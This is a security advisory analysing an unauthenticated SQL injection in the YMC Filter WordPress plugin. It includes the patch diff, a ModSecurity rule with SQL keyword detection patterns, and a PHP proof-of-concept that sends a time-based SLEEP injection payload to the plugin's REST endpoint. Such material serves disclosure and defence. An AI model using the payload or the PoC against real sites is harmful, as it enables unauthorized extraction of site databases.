Atomic Edge analysis of CVE-2026-54836:
This vulnerability is an unauthenticated SQL injection in the YMC Filter plugin for WordPress, affecting versions up to and including 3.11.5. The flaw exists in the custom search WHERE clause handling within two REST API controllers. An attacker can inject arbitrary SQL commands into existing queries due to insufficient input sanitization and lack of parameterized queries. The CVSS score is 7.5, reflecting high confidentiality impact.
The root cause lies in the `search_where` functions located in `FG_REST_Frontend_Posts_Controller.php` (line 747) and `FG_REST_Frontend_Search_Controller.php` (line 253). In the vulnerable versions, these functions accept a single `$where` parameter and use `preg_replace_callback` with a regex pattern to extract the raw search term from the WHERE clause. The extracted value is then unslashed and inserted directly into the query using `$wpdb->prepare` with a placeholder, but critically, the regex extraction process itself bypasses WordPress’s built-in escaping by operating on the already-constructed WHERE clause. The search term is retrieved from `$params[‘search’]` without sanitization, as seen in `FG_REST_Frontend_Posts_Controller.php` line 118 where `$params[‘search’] ?? null` is used without any sanitization function. This unsanitized value is then passed to `WP_Query` via `$args[‘s’]` at line 369, ultimately reaching the vulnerable `search_where` hook.
Exploitation is straightforward. An unauthenticated attacker sends a GET or POST request to the WordPress REST API endpoint that triggers the vulnerable filter, such as `/wp-json/ymc-filter/v2/posts` or the search endpoint `/wp-json/ymc-filter/v1/search`. The attacker includes a `search` parameter containing a SQL injection payload, for example: `search=test’ OR (SELECT 1 FROM (SELECT SLEEP(5))a)–`. The plugin passes this unsanitized value into the SQL query’s LIKE clause, allowing the attacker to append arbitrary SQL commands. The exploitation does not require authentication, making this a severe blind SQL injection vector.
The patch modifies the `search_where` functions in both files to accept a second parameter `WP_Query $query` and to retrieve the search term via `$query->get(‘ymc_search_term’)`. In `FG_REST_Frontend_Posts_Controller.php`, the fix adds `sanitize_text_field()` to the `$keyword_search` assignment at line 118, sanitizing the input before it reaches the query. Additionally, the patch moves the `ymc_fg_per_page` default value from the numeric fields array to the text fields array in `FG_Save_Meta_Boxes.php`. The vulnerable `preg_replace_callback` logic is replaced with a direct `$wpdb->prepare` call that uses `$wpdb->esc_like()` on the sanitized search term, which escapes SQL wildcards and prevents injection. The before behavior allowed direct interpolation of unsanitized user input; the after behavior forces all input through sanitization and proper parameter binding.
If exploited, an attacker can extract arbitrary sensitive data from the WordPress database, including user credentials (hashed passwords), email addresses, session tokens, private post content, and other site configurations. The blind SQL injection nature allows for time-based or error-based data extraction. Given that the vulnerability requires no authentication, an attacker with knowledge of the endpoint can compromise the entire WordPress installation, potentially leading to privilege escalation, data theft, and complete site takeover.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/ymc-smart-filter/ymc-smart-filters.php
+++ b/ymc-smart-filter/ymc-smart-filters.php
@@ -4,7 +4,7 @@
*
* Plugin Name: YMC Filter
* Description: A powerful and flexible plugin to filter and display posts, custom post types, and other content in responsive grid layouts.
- * Version: 3.11.5
+ * Version: 3.11.6
* Author: YMC
* Author URI: https://github.com/YMC-22/Filter-Grids
* License: GPL-2.0-or-later
--- a/ymc-smart-filter/ymc2/YMC_Filter_Grids.php
+++ b/ymc-smart-filter/ymc2/YMC_Filter_Grids.php
@@ -28,7 +28,7 @@
*
* @var string
*/
- public string $version = '3.11.5';
+ public string $version = '3.11.6';
/**
--- a/ymc-smart-filter/ymc2/src/admin/FG_Save_Meta_Boxes.php
+++ b/ymc-smart-filter/ymc2/src/admin/FG_Save_Meta_Boxes.php
@@ -153,7 +153,8 @@
'ymc_fg_scroll_to_filters_on_load' => 'no',
'ymc_fg_debug_mode' => 'no',
'ymc_fg_show_hidden_cpt' => 'no',
- 'ymc_fg_show_post_count' => 'no'
+ 'ymc_fg_show_post_count' => 'no',
+ 'ymc_fg_per_page' => '4'
];
foreach ($text_fields as $meta_key => $default) {
@@ -230,8 +231,7 @@
*/
private static function save_numeric_fields(int $post_id) : void {
- $numeric_fields = [
- 'ymc_fg_per_page' => 5,
+ $numeric_fields = [
'ymc_fg_post_excerpt_length' => 30,
'ymc_fg_max_autocomplete_suggestions' => 10,
'ymc_fg_pagination_mid_size' => 2,
--- a/ymc-smart-filter/ymc2/src/api/controllers/frontend/FG_REST_Frontend_Posts_Controller.php
+++ b/ymc-smart-filter/ymc2/src/api/controllers/frontend/FG_REST_Frontend_Posts_Controller.php
@@ -115,8 +115,8 @@
// Flatpickr Data Picker
$filter_flatpickr = $params['flatpickr_filter'] ?? [];
- // Search query
- $keyword_search = $params['search'] ?? null;
+ // Search query
+ $keyword_search = sanitize_text_field($params['search'] ?? '');
$search_post_id = $params['search_post_id'] ?? 0;
// Sort posts by ajax
@@ -369,6 +369,10 @@
$args['s'] = $keyword_search;
$args['sentence'] = true;
+ if ( $search_meta_fields === 'yes' ) {
+ $args['ymc_search_term'] = $keyword_search;
+ }
+
$results_text = Data_Store::get_meta_value($filter_id, 'ymc_fg_results_found_text');
$results_text = apply_filters('ymc/search/results_found_text', $results_text);
$results_text = apply_filters('ymc/search/results_found_text_'. $filter_id, $results_text);
@@ -743,7 +747,7 @@
* @param string $where The existing WHERE clause of the SQL query.
* @return string The modified WHERE clause including the postmeta table search condition.
*/
- public static function search_where( string $where ) : string {
+ /*public static function search_where( string $where ) : string {
global $wpdb;
$pattern = "/(s*{$wpdb->posts}.post_titles+LIKEs*'([^']*)'s*)/";
@@ -760,7 +764,27 @@
}, $where );
return $where;
- }
+ }*/
+
+ public static function search_where( string $where, WP_Query $query ) : string {
+
+ global $wpdb;
+
+ $search_term = $query->get( 'ymc_search_term' );
+
+ if ( empty( $search_term ) ) {
+ return $where;
+ }
+
+ $like = '%' . $wpdb->esc_like( $search_term ) . '%';
+
+ $where .= $wpdb->prepare(
+ " OR ( pm.meta_value LIKE %s )",
+ $like
+ );
+
+ return $where;
+ }
/**
@@ -780,8 +804,8 @@
* @return void
*/
public static function add_search_filters() : void {
- add_filter('posts_join', [__CLASS__, 'search_join']);
- add_filter('posts_where', [__CLASS__, 'search_where']);
+ add_filter('posts_join', [__CLASS__, 'search_join']);
+ add_filter('posts_where', [ __CLASS__, 'search_where' ], 10, 2);
add_filter('posts_distinct', [__CLASS__, 'search_distinct']);
}
--- a/ymc-smart-filter/ymc2/src/api/controllers/frontend/FG_REST_Frontend_Search_Controller.php
+++ b/ymc-smart-filter/ymc2/src/api/controllers/frontend/FG_REST_Frontend_Search_Controller.php
@@ -97,6 +97,8 @@
's' => $keyword
];
+ $args['ymc_search_term'] = $keyword;
+
if ( $search_mode === 'filtered' ) {
self::add_tax_query_args(
@@ -209,8 +211,8 @@
public static function add_search_filters() : void {
- add_filter('posts_join', [__CLASS__, 'search_join']);
- add_filter('posts_where', [__CLASS__, 'search_where']);
+ add_filter('posts_join', [__CLASS__, 'search_join']);
+ add_filter('posts_where', [ __CLASS__, 'search_where' ], 10, 2);
add_filter('posts_distinct', [__CLASS__, 'search_distinct']);
}
@@ -245,24 +247,25 @@
* @param string $where The existing WHERE clause of the SQL query.
* @return string The modified WHERE clause including the postmeta table search condition.
*/
- public static function search_where( string $where ) : string {
- global $wpdb;
+ public static function search_where( string $where, WP_Query $query) : string {
- $pattern = "/(s*{$wpdb->posts}.post_titles+LIKEs*'([^']*)'s*)/";
+ global $wpdb;
- $where = preg_replace_callback( $pattern, function( $matches ) use ( $wpdb ) {
- $raw = $matches[1];
+ $search_term = $query->get( 'ymc_search_term' );
- $raw = wp_unslash( $raw );
- $like = $wpdb->esc_like( $raw );
+ if ( empty( $search_term ) ) {
+ return $where;
+ }
- $quoted_like = $wpdb->prepare( "'%s'", '%' . $like . '%' );
+ $like = '%' . $wpdb->esc_like( $search_term ) . '%';
- return "({$wpdb->posts}.post_title LIKE {$quoted_like}) OR (pm.meta_value LIKE {$quoted_like})";
- }, $where );
+ $where .= $wpdb->prepare(
+ " OR ( pm.meta_value LIKE %s )",
+ $like
+ );
- return $where;
- }
+ return $where;
+ }
/**
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-54836
SecRule REQUEST_URI "@rx ^/wp-json/ymc-filter/v[12]/" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-54836 YMC Filter SQL Injection Attempt',severity:'CRITICAL',tag:'CVE-2026-54836'"
SecRule ARGS_POST:search "@rx [x27x22]|(bORb|bANDb|bUNIONb|bSLEEPb|bBENCHMARKb|bLOAD_FILEb|bINTOb|bOUTFILEb|bDUMPFILEb|bINFORMATION_SCHEMAb)" "chain"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:search "@detectSQLi" ""
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-54836 - YMC Filter <= 3.11.5 - Unauthenticated SQL Injection
$target_url = 'http://your-wordpress-site.com'; // CHANGE THIS
$endpoint = '/wp-json/ymc-filter/v2/posts'; // Vulnerable REST endpoint
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
// Blind SQL injection payload using time-based SLEEP
// This payload appends an OR condition that will cause a 5-second delay if the database is MySQL
$payload = array(
'filter_id' => 1,
'post_type' => 'post',
'search' => "' OR (SELECT 1 FROM (SELECT SLEEP(5))a)-- ",
'paged' => 1,
'posts_per_page' => 4,
'taxonomies' => array(),
'filter_flatpickr' => array(),
'filter_order' => array()
);
$json_payload = json_encode($payload);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_payload);
curl_setopt($ch, CURLOPT_POST, true);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
echo "Atomic Edge CVE-2026-54836 PoCn";
echo "Target: $target_urln";
echo "Endpoint: $endpointn";
echo "Response time: " . round($elapsed, 2) . " secondsn";
if ($elapsed >= 5) {
echo "[+] Vulnerability confirmed: SQL injection succeeded (time-based delay detected)n";
} else {
echo "[-] No time delay detected. Target may be patched or not vulnerable.n";
}
curl_close($ch);